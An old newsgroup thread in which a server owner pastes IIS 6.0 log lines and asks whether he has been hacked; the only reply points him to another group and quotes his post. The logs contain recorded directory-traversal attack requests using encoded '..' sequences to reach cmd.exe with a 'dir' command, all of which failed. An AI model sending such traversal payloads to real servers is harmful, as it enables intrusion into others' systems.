Logfile question

External Since: Nov 10, 2003 Posts: 21

Hello,

Under this message I have copy-paste some logfile lines.

Can somebody tell me what this means?
Am I hackt?
And what can I do about this?

Thanks!
Arjen

#Software: Microsoft Internet Information Services 6.0
#Version: 1.0
#Date: 2004-01-06 07:55:43
#Fields: date time s-sitename cs-method cs-uri-stem cs-uri-query cs-username
c-ip cs(User-Agent) cs(Cookie) cs(Referer) sc-status sc-bytes cs-bytes
time-taken

2004-01-06 07:56:00 W3SVC1 GET
/adsamples/..%5c..%5c..%5c..%5c..%5c..%5cwinnt/system32/cmd.exe /c+dir+c:\ -
80.130.179.139 - - - 404 258 123 480
2004-01-07 18:04:06 W3SVC1 / - - 24.164.32.150
Microsoft-WebDAV-MiniRedir/5.1.2600 - - 404 258 147 220
2003-06-26 20:08:36 217.89.9.243 2276 80 HTTP/0.0 HEAD
/_mem_bin/..%c0%2f..%c0%2f..%c0%2f../winnt/system32/cmd.exe?/c+dir 400 -
BadRequest

External Since: Dec 23, 2003 Posts: 905

Refer reply in .security. don't multipost.

--
Regards,
Bernard Cheah
<a style='text-decoration: underline;' href="http://support.microsoft.com/" target="_blank">http://support.microsoft.com/</a>
Please respond to newsgroups only ...

"Arjen" <boah123 DeleteThis @hotmail.com> ????
news:btkh01$vsl$1@news4.tilbu1.nb.home.nl...
> Hello,
>
> Under this message I have copy-paste some logfile lines.
>
> Can somebody tell me what this means?
> Am I hackt?
> And what can I do about this?
>
> Thanks!
> Arjen
>
>
>
>
> #Software: Microsoft Internet Information Services 6.0
> #Version: 1.0
> #Date: 2004-01-06 07:55:43
> #Fields: date time s-sitename cs-method cs-uri-stem cs-uri-query
cs-username
> c-ip cs(User-Agent) cs(Cookie) cs(Referer) sc-status sc-bytes cs-bytes
> time-taken
>
>
> 2004-01-06 07:56:00 W3SVC1 GET
> /adsamples/..%5c..%5c..%5c..%5c..%5c..%5cwinnt/system32/cmd.exe
/c+dir+c:\ -
> 80.130.179.139 - - - 404 258 123 480
> 2004-01-07 18:04:06 W3SVC1 / - - 24.164.32.150
> Microsoft-WebDAV-MiniRedir/5.1.2600 - - 404 258 147 220
> 2003-06-26 20:08:36 217.89.9.243 2276 80 HTTP/0.0 HEAD
> /_mem_bin/..%c0%2f..%c0%2f..%c0%2f../winnt/system32/cmd.exe?/c+dir 400 -
> BadRequest
>
>